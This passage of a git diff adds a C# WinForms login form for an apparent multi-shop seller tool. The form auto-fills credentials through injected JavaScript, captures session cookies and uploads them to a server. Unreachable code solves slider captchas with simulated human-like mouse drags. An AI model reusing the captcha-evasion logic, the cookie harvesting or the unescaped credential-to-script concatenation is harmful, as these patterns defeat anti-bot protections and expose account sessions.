"label2"; + this.label2.Size = new System.Drawing.Size(44, 17); + this.label2.TabIndex = 378; + this.label2.Text = "密码"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 8); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(44, 17); + this.label1.TabIndex = 377; + this.label1.Text = "用户名"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + // + // btnCopyPassword + // + this.btnCopyPassword.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCopyPassword.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCopyPassword.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCopyPassword.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCopyPassword.ForeColor = System.Drawing.Color.White; + this.btnCopyPassword.Location = new System.Drawing.Point(295, 31); + this.btnCopyPassword.Margin = new System.Windows.Forms.Padding(2); + this.btnCopyPassword.Name = "btnCopyPassword"; + this.btnCopyPassword.Size = new System.Drawing.Size(57, 25); + this.btnCopyPassword.TabIndex = 376; + this.btnCopyPassword.Text = "复制"; + this.btnCopyPassword.UseVisualStyleBackColor = false; + this.btnCopyPassword.Click += new System.EventHandler(this.btnCopyPassword_Click); + // + // btnCopyUserName + // + this.btnCopyUserName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCopyUserName.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCopyUserName.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCopyUserName.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCopyUserName.ForeColor = System.Drawing.Color.White; + this.btnCopyUserName.Location = new System.Drawing.Point(295, 4); + this.btnCopyUserName.Margin = new System.Windows.Forms.Padding(2); + this.btnCopyUserName.Name = "btnCopyUserName"; + this.btnCopyUserName.Size = new System.Drawing.Size(57, 25); + this.btnCopyUserName.TabIndex = 375; + this.btnCopyUserName.Text = "复制"; + this.btnCopyUserName.UseVisualStyleBackColor = false; + this.btnCopyUserName.Click += new System.EventHandler(this.btnCopyUserName_Click); + // + // txtPassWord + // + this.txtPassWord.Location = new System.Drawing.Point(72, 32); + this.txtPassWord.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtPassWord.Name = "txtPassWord"; + this.txtPassWord.PasswordChar = '●'; + this.txtPassWord.ReadOnly = true; + this.txtPassWord.Size = new System.Drawing.Size(221, 23); + this.txtPassWord.TabIndex = 374; + // + // txtUserName + // + this.txtUserName.Location = new System.Drawing.Point(72, 5); + this.txtUserName.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtUserName.Name = "txtUserName"; + this.txtUserName.ReadOnly = true; + this.txtUserName.Size = new System.Drawing.Size(221, 23); + this.txtUserName.TabIndex = 373; + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(1324, 31); + this.btnStop.Margin = new System.Windows.Forms.Padding(2); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(96, 25); + this.btnStop.TabIndex = 372; + this.btnStop.Text = "停止操作"; + this.btnStop.UseVisualStyleBackColor = false; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnReload + // + this.btnReload.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnReload.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnReload.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnReload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnReload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnReload.ForeColor = System.Drawing.Color.White; + this.btnReload.Location = new System.Drawing.Point(1231, 31); + this.btnReload.Margin = new System.Windows.Forms.Padding(2); + this.btnReload.Name = "btnReload"; + this.btnReload.Size = new System.Drawing.Size(91, 25); + this.btnReload.TabIndex = 371; + this.btnReload.Text = "重新加载"; + this.btnReload.UseVisualStyleBackColor = false; + this.btnReload.Click += new System.EventHandler(this.btnReload_Click); + // + // chkCloseAfterLogin + // + this.chkCloseAfterLogin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.chkCloseAfterLogin.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkCloseAfterLogin.Checked = true; + this.chkCloseAfterLogin.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkCloseAfterLogin.CheckValue = "Y"; + this.chkCloseAfterLogin.Location = new System.Drawing.Point(1096, 32); + this.chkCloseAfterLogin.Name = "chkCloseAfterLogin"; + this.chkCloseAfterLogin.Size = new System.Drawing.Size(135, 23); + this.chkCloseAfterLogin.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.chkCloseAfterLogin.TabIndex = 8; + this.chkCloseAfterLogin.Text = "登录成功后关闭窗口"; + // + // splitContainer2 + // + this.splitContainer2.BackColor = System.Drawing.Color.White; + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(1, 33); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.txtAddress); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.splitContainer1); + this.splitContainer2.Size = new System.Drawing.Size(1438, 766); + this.splitContainer2.SplitterDistance = 26; + this.splitContainer2.TabIndex = 5; + // + // txtAddress + // + this.txtAddress.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtAddress.Location = new System.Drawing.Point(3, 3); + this.txtAddress.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.txtAddress.Name = "txtAddress"; + this.txtAddress.Size = new System.Drawing.Size(1432, 23); + this.txtAddress.TabIndex = 7; + this.txtAddress.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtAddress_KeyDown); + // + // ShopLoginForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(1440, 800); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ShopLoginForm"; + this.ShowMaximizeBox = true; + this.Text = "店铺登录"; + this.TitleText = "店铺登录"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.ShopLoginForm_FormClosed); + this.Load += new System.EventHandler(this.ShopLoginForm_Load); + this.Controls.SetChildIndex(this.splitContainer2, 0); + this.splitContainer1.Panel2.ResumeLayout(false); + this.splitContainer1.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.pnlMultiLogin.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.Controls.CheckBoxX chkCloseAfterLogin; + private UserControls.ButtonEx btnStop; + private UserControls.ButtonEx btnReload; + private System.Windows.Forms.TextBox txtPassWord; + private System.Windows.Forms.TextBox txtUserName; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private UserControls.ButtonEx btnCopyPassword; + private UserControls.ButtonEx btnCopyUserName; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.TextBox txtAddress; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbMultiCookieName; + private DevComponents.DotNetBar.PanelEx btnDel; + private DevComponents.DotNetBar.PanelEx btnMultiLogin; + private System.Windows.Forms.Panel pnlMultiLogin; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.cs b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.cs new file mode 100644 index 0000000..d60b5b6 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopLoginForm.cs @@ -0,0 +1,762 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.DashBoardForms; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using Microsoft.Win32; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Web.Hosting; +using System.Windows.Forms; +using Work; +using Work.BLL.Tools; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class ShopLoginForm : LRBaseForm + { + public int CloseAfterSecond { get; set; } + public bool isMultiLogin = false; + public string MultiLoginCookieName = ""; + private string shopCookieHead = "kuajingmaihuo.com"; + private string shopLoginUrl = "http://seller.kuajingmaihuo.com/login"; + private string shopMainUrl = "https://seller.kuajingmaihuo.com"; + private ChromiumWebBrowser cefWebBrowser = null; + private DouShopLoginInfo shop = null; + private string currentUrl = ""; + + public ShopLoginForm(DouShopLoginInfo shopInfo) + { + InitializeComponent(); + + this.shop = shopInfo; + this.txtUserName.Text = shopInfo.LoginName; + this.txtPassWord.Text = DataOpenSSL.DecryptString(shopInfo.Password); + } + + private void ShopLoginForm_Load(object sender, EventArgs e) + { + //this.splitContainer1.SplitterDistance = 674; + + if (isMultiLogin && shop != null) + { + this.pnlMultiLogin.Visible = true; + InitMultiLoginCookies(); + } + + if (CloseAfterSecond > 0) + { + Task.Run(() => + { + Thread.Sleep(1000 * CloseAfterSecond); + if (this.Created) + { + Invoke(new Action(() => { this.Close(); })); + } + }); + } + + if (!isMultiLogin) + AutoLogin(); + + CheckAndSaveShop(); //判断登录是否成功,成功则保存店铺信息和店铺cookie + //ClosePopWindow(); //自动关闭弹窗 + } + + /// + /// 判断登录,保存店铺 + /// + private void CheckAndSaveShop() + { + Task.Run(() => + { + // 自动判断是否登录成功,登录成功后记录cookie保存到服务端。 + while (this.Created) + { + Thread.Sleep(3000); + if (this.shop != null && currentUrl == shopMainUrl) + { + if (!cefWebBrowser.GetBrowser().MainFrame.IsValid) + continue; + + continue; + + var jsStr = "function getShopName() { return document.getElementsByClassName('headerShopName')[0].innerHTML; } getShopName();"; + var response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(5000); + var res = response.Result.Result?.ToString(); + if (res != null && res.Contains("")) + { + shop.ShopAccount = res.Substring(res.IndexOf("") + 7); + shop.ShopAccount = BaseRegex.FliterHtmlTag(shop.ShopAccount); + //if (shop.ShopName.Contains("") + 1); + //if (shop.ShopName.Contains("")) + // shop.ShopName = shop.ShopName.Substring(0, shop.ShopName.IndexOf("")); + string cookies = ""; + List cookieList = CEFBrowser.GetCookieList(shopCookieHead, cefWebBrowser.RequestContext.GetCookieManager(null)); + if (cookieList != null && cookieList.Count > 0) + { + foreach (var cookie in cookieList) + { + //if (cookies.Contains(cookie.Name + "=" + cookie.Value)) + // continue; + + cookies += cookie.Name + "=" + cookie.Value + "; "; + } + cookies = cookies.Trim().TrimEnd(';'); + } + shop.Cookies = cookies; + if (isMultiLogin) + { + shop.DictMultiCookies[MultiLoginCookieName] = cookies; + } + + if (!string.IsNullOrEmpty(shop.Cookies) + && !string.IsNullOrEmpty(shop.ShopAccount) + && !string.IsNullOrEmpty(shop.ShopAccountId) + //&& !string.IsNullOrEmpty(shop.Mobile) + && !string.IsNullOrEmpty(shop.ShopToken)) + { + shop.LoginStatus = "登录成功"; + + shop.LastRefreshDate = DateTime.Now.ToString("yyyyMMdd"); + var shopInfo = GlobalConfig.DouShopLoginList.FirstOrDefault(v => v.ShopAccountId == shop.ShopAccountId); + if (shopInfo != null) + { + shopInfo.ShopToken = shop.ShopToken; + shopInfo.Mobile = shop.Mobile; + shopInfo.Cookies = shop.Cookies; + shopInfo.Password = shop.Password; + } + else + GlobalConfig.DouShopLoginList.Add(shop); + StartUp.SaveDouShopLoginInfo(); + //ShopListForm.AddServerDouShop(shop); // 店铺写入到服务端 + ShopListForm.AddServerDouShopCookies(shop.ShopAccount, shop.Cookies); // cookie写入到服务端 + OnSaveComplete(shop); + if (this.Created && this.chkCloseAfterLogin.Checked) + { + Invoke(new Action(() => { this.Close(); })); + } + else + break; + } + } + } + } + }); + } + + /// + /// 自动关闭弹窗 + /// + private void ClosePopWindow() + { + // 关闭弹窗 + Task.Run(() => + { + var sleepTime = 2500; + int i = 0; + while (true && i++ < 50) + { + try + { + Thread.Sleep(sleepTime); + var jsStr1 = "function ClosePopWindow(txt) {\r\n" + + " var result = 'no_pop'\r\n" + + " var item = document.getElementsByClassName(txt);\r\n" + + " for(i = 0; i < item.length; i++) {\r\n" + + " item[i].click();\r\n" + + " result = 'success'\r\n" + + " }\r\n" + + " return result;\r\n" + + "}\r\n" + + "ClosePopWindow('anticon-close-circle');\r\n" + + "ClosePopWindow('ant-modal-close-x');\r\n"; + var jsStr2 = "function clickPopWindow(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_pop';\r\n" + + "}\r\n" + + "clickPopWindow('我知道了');\r\n" + + "clickPopWindow('知道了');\r\n"; + if (cefWebBrowser != null && cefWebBrowser.IsBrowserInitialized) + { + var t1 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr1); + t1.Wait(); + var t2 = cefWebBrowser.GetMainFrame().EvaluateScriptAsync(jsStr2); + t2.Wait(); + if (t1.Result?.Result?.ToString() == "success" || t2.Result?.Result?.ToString() == "success") + sleepTime = Randomx.GetId(550, 650); + else + sleepTime = Randomx.GetId(1500, 2000); + } + } + catch (Exception ex) { } + } + }); + } + + /// + /// 自动登录店铺后台 + /// + private void AutoLogin() + { + if (shop == null) + return; + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(shopMainUrl, false); + CustomResourceRequestHandlerLocal resourceRequestHandler = new CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + var lifeSapnHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + cefWebBrowser.LifeSpanHandler = lifeSapnHandler; + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.LoadError += CefWebBrowser_LoadError; + cefWebBrowser.Dock = DockStyle.Fill; + + if (shop.Cookies == null) + shop.Cookies = ""; + + var cookie = shop.Cookies; + if (isMultiLogin) + cookie = shop.DictMultiCookies.Keys.Contains(MultiLoginCookieName) ? shop.DictMultiCookies[MultiLoginCookieName] : ""; + + var t = CEFBrowser.SetCookieAsync(shopCookieHead, cookie, cefWebBrowser.RequestContext.GetCookieManager(null)); + + splitContainer1.Panel1.Controls.Add(cefWebBrowser); + + Task.Run(() => + { + for (int i = 0; i < 50; i++) + { + Thread.Sleep(100); + } + + if (GlobalConfig.dicLocalStorage != null) + { + Thread.Sleep(500); + string jsCode = "function setStorage() {"; + foreach (var item in GlobalConfig.dicLocalStorage) + { + if (item.Key == "$TCC_CONFIG" || item.Key == "$TCC_CONFIG_operate_config" || item.Key == "menuStyleStr") + continue; + + jsCode += "window.localStorage.setItem('" + item.Key + "', '" + item.Value + "');\r\n"; + } + jsCode += "}"; + jsCode += "setStorage();"; + if (cefWebBrowser.GetBrowser().MainFrame.IsValid) + cefWebBrowser.GetBrowser().MainFrame.ExecuteJavaScriptAsync(jsCode); + } + + if (!this.Created) + return; + + InputUserNameAndPassword(cefWebBrowser, shop.LoginName, DataOpenSSL.DecryptString(shop.Password)); + }); + } + } + + private void CefWebBrowser_LoadError(object sender, CefSharp.LoadErrorEventArgs e) + { + } + + private void CefWebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + if (this.Created) + Invoke(new Action(() => + { + currentUrl = e.Address; + txtAddress.Text = e.Address; + })); + } + + private void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + //if (!cefWebBrowser.IsBrowserInitialized) return; + + //currentUrl = e.Url; + //if (currentUrl.StartsWith("https://fxg.jinritemai.com/ffa/multiShop")) + //{ + // Thread.Sleep(Randomx.GetId(500, 800)); + //} + //if (currentUrl.StartsWith("https://fxg.jinritemai.com/ffa/mshop/homepage/index")) + //{ + // Task.Run(() => + // { + // + // }); + //} + } + + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData, IRequest request) + { + if (url.StartsWith("https://seller.kuajingmaihuo.com/settle/site-main")) + { + cefWebBrowser.Load(shopMainUrl); + } + //if (url == shopMainUrl) + if (url == "https://seller.kuajingmaihuo.com/bg/quiet/api/mms/userInfo") + { + Task.Run(() => + { + var data = responseData; + if (this.shop != null && data.Contains("\"success\":true")) + { + var maskMobile = BaseRegex.GetStringJson(ref data, "maskOwnerMobile"); + if (shop.LoginName.EndsWith(maskMobile)) + { + shop.ShopAccountId = BaseRegex.GetStringJson(ref data, "mallId"); + shop.ShopAccount = BaseRegex.GetStringJson(ref data, "mallName"); + //shop.ShopToken = BaseRegex.GetStringJson(ref data, "token"); + //shop.Mobile = BaseRegex.GetStringJson(ref data, "mobile"); + } + } + }); + } + //if (url.Contains("_signature")) + //{ + // var re = request; + // if ((re.Headers != null && re.Headers.AllKeys.Contains("x-secsdk-csrf-token"))) + // { + // } + // Task.Run(() => + // { + // var _url = url; + // var data = responseData; + // var signature = url.Substring(url.IndexOf("_signature=") + "_signature=".Length).Split('&')[0]; + // if (shop != null) + // { + // shop.Signature = signature; + // } + // if (url.Contains("x-secsdk-csrf-token") || postData.Contains("x-secsdk-csrf-token") || data.Contains("x-secsdk-csrf-token")) + // { + // } + // }); + //} + } + + /// + /// 自动登录 + /// + /// + /// + /// + private void InputUserNameAndPassword(ChromiumWebBrowser webBrowser, string _account, string _password) + { + webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(sInputValueChange2); + webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(sGetElementWithText); + + string jsStr1 = "var usernameId = document.getElementById('usernameId'); " + + "changeReactInputValue(usernameId,'" + _account + "');"; + var response1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + response1.Wait(1000); + Thread.Sleep(Randomx.GetId(500, 1000)); + + string jsStr = "var passwordId = document.getElementById('passwordId'); "+ + "changeReactInputValue(passwordId,'" + _password + "');"; + var response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + Thread.Sleep(Randomx.GetId(500, 1000)); + + jsStr = "var clickBox = getElementWithText('我已阅读并同意'); " + + "clickBox.click()"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + Thread.Sleep(Randomx.GetId(500, 1000)); + + jsStr = "var clickBox = getElementWithText('登录'); " + + "clickBox.click()"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + Thread.Sleep(Randomx.GetId(500, 1000)); + return; + //下面代码原抖音使用,废弃 + + #region 输入用js + string jsSetValue = @" +function keyboardInput(dom, st) { + var evt = new InputEvent('input', { + //var evt = new Event('input', { // cef57 + inputType: 'insertText', + data: st, + dataTransfer: null, + isComposing: false + }); + dom.value = st; + dom.dispatchEvent(evt); + dom.focus(); +};"; + + string jsInputKey = @" +function fireKeyEvent(el, evtType, keyCode) { + var evtObj; + if (document.createEvent) + { + if (window.KeyEvent) + { + //firefox 浏览器下模拟事件 + evtObj = document.createEvent('KeyEvents'); + evtObj.initKeyEvent(evtType, true, true, window, true, false, false, false, keyCode, 0); + } + else + { + //chrome 浏览器下模拟事件 + evtObj = document.createEvent('UIEvents'); + evtObj.initUIEvent(evtType, true, true, window, 1); + + delete evtObj.keyCode; + if (typeof evtObj.keyCode === 'undefined') + { + //为了模拟keycode + Object.defineProperty(evtObj, 'keyCode', { value: keyCode }); + } + else + { + evtObj.key = String.fromCharCode(keyCode); + } + + if (typeof evtObj.ctrlKey === 'undefined') + { + //为了模拟ctrl键 + Object.defineProperty(evtObj, 'ctrlKey', { value: true }); + } + else + { + evtObj.ctrlKey = true; + } + } + el.dispatchEvent(evtObj); + } + else if (document.createEventObject) + { + //IE 浏览器下模拟事件 + evtObj = document.createEventObject(); + evtObj.keyCode = keyCode + el.fireEvent('on' + evtType, evtObj); + } +}"; + #endregion + + #region 输入用户名 + jsStr = @"var txt1 = document.getElementsByName('email')[0]; txt1.focus(); txt1.click(); keyboardInput(txt1, '" + _account + "');" + + "var uname = '" + _account + "';" + + "for(var i = 0; i < uname.length; i++) {" + + " cCode = uname.charCodeAt(i);" + + " fireKeyEvent(txt1, 'keydown', cCode);" + + " fireKeyEvent(txt1, 'keypress', cCode);" + + " fireKeyEvent(txt1, 'keyup', cCode);" + + "}"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsSetValue + jsInputKey + jsStr); + response.Wait(2000); + Thread.Sleep(Randomx.GetId(400, 800)); + #endregion + + #region 输入密码 + jsStr = @"var txt2 = document.getElementsByName('password')[0]; txt2.focus(); txt2.click(); keyboardInput(txt2, '" + _password + "');" + + "var pwd = '" + _password + "';" + + "for(var i = 0; i < pwd.length; i++) {" + + " cCode = pwd.charCodeAt(i);" + + " fireKeyEvent(txt2, 'keydown', cCode);" + + " fireKeyEvent(txt2, 'keypress', cCode);" + + " fireKeyEvent(txt2, 'keyup', cCode);" + + "}"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsInputKey + jsStr); + response.Wait(2000); + Thread.Sleep(Randomx.GetId(400, 800)); + #endregion + + #region 点击登录按钮 + jsStr = "var btn = document.getElementsByClassName('account-center-action-button')[0]; btn.click(); //btn.dispatchEvent(new Event('change'));"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + Thread.Sleep(1500 + Randomx.GetId(1000)); + #endregion + + #region 获取验证码 + int getImageCount = 0; + getImageAgain: + if (!this.Created) + return; + + jsStr = "function getImg() { return document.getElementsByClassName('captcha_verify_img--wrapper')[0].innerHTML; }"; + jsStr += "getImg();"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result == null) + { + if (getImageCount < 50) + { + Thread.Sleep(2500); + getImageCount++; + goto getImageAgain; + } + } + if (response.Result?.Result != null) + { + var imgStr = response.Result.Result.ToString(); + var src = BaseRegex.GetMatchRegexString(ref imgStr, "src=\"([\\s\\S]*?)\""); + Bitmap bt = (Bitmap)GetHtml.LoadImage(src); + if (bt != null) + { + int Stopxt = 0; + int dragButtonWidth = 53; + //Stopxt = new Base64ChangeImgUrl().CalculateNick(bt, dragButtonWidth); + Thread.Sleep(500 + Randomx.GetId(1000)); + Stopxt = new Base64ChangeImgUrl().CalculateNickNew(bt, dragButtonWidth); + if (Stopxt > 0) + { + jsStr = "function getImgPos() { return document.getElementsByClassName('secsdk-captcha-drag-icon')[0].getBoundingClientRect().left + '|' " + + " + document.getElementsByClassName('secsdk-captcha-drag-icon')[0].getBoundingClientRect().top;} getImgPos();"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result != null) + { + var xy = response.Result?.Result.ToString(); + var xyArr = xy.Split('|'); + if (xyArr.Length == 2) + { + try + { + int x = (int)Convert.ToDecimal(xyArr[0]) + 25; + int y = (int)Convert.ToDecimal(xyArr[1]) + 25; + + // 自动滑块图形验证 + if (GlobalConfig.DouShopSettingParam.IsAutoDragLogin) + { + ShopLoginForm.CefMouseDragDou(cefWebBrowser, x, y, Convert.ToInt32((x + Stopxt * 340m / 552m) - 15), y); + for (int i = 0; i < 1; i++) + Thread.Sleep(2000 + Randomx.GetId(1000)); + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result != null && getImageCount < 50) + { + getImageCount++; + goto getImageAgain; + } + } + } + catch + { + } + } + } + for (int i = 0; i < 1; i++) + Thread.Sleep(2000 + Randomx.GetId(1000)); + } + } + } + Thread.Sleep(1500 + Randomx.GetId(1000)); + #endregion + } + + // 鼠标左键按下,移动,移动...左键抬起。 + public static void CefMouseDragDou(ChromiumWebBrowser webBrowser, int x1, int y1, int x2, int y2) + { + Thread.Sleep(100); + var host = webBrowser.GetBrowser().GetHost(); + + var rx = -6 + Randomx.GetId(13); + x2 = x2 + rx; + // 随机按下点的位置(正负6像素),提高仿真性 + int x = x1 + rx; + int y = y1 - 6 + Randomx.GetId(13); + + // 按下鼠标左键 + host.SendMouseClickEvent(x, y, MouseButtonType.Left, false, 1, CefEventFlags.None); + Thread.Sleep(100 + Randomx.GetId(300)); + + // 滑动光标 + int times = -20; + while (x < x2 + 4 - Randomx.GetId(9)) + { + times++; + x += (15 + Randomx.GetId(15)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + if (x < x2 - 1) + while (x < x2) + { + times++; + x += (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + else if (x > x2 + 1) + while (x > x2) + { + times++; + x -= (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + + // 如果最后位置偏差较多,再做一次调整 + x = x2 - 1 + Randomx.GetId(3); + x = x2; + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + + // 抬起鼠标左键 + Thread.Sleep(300 + Randomx.GetId(500)); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + } + + private void btnStop_Click(object sender, EventArgs e) + { + + } + + private void btnCopyUserName_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtUserName.Text)) + Clipboard.SetDataObject(txtUserName.Text); + } + + private void btnCopyPassword_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtPassWord.Text)) + Clipboard.SetDataObject(txtPassWord.Text); + } + + private void btnReload_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + { + cefWebBrowser.Load(txtAddress.Text); + } + } + + private void ShopLoginForm_FormClosed(object sender, FormClosedEventArgs e) + { + //OnSaveComplete(shop); + } + + private void txtAddress_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + if (cefWebBrowser != null) + { + cefWebBrowser.Load(txtAddress.Text); + } + } + } + + private void btnMultiLogin_Click(object sender, EventArgs e) + { + MultiLoginCookieName = cmbMultiCookieName.Text; + AutoLogin(); + } + + private void 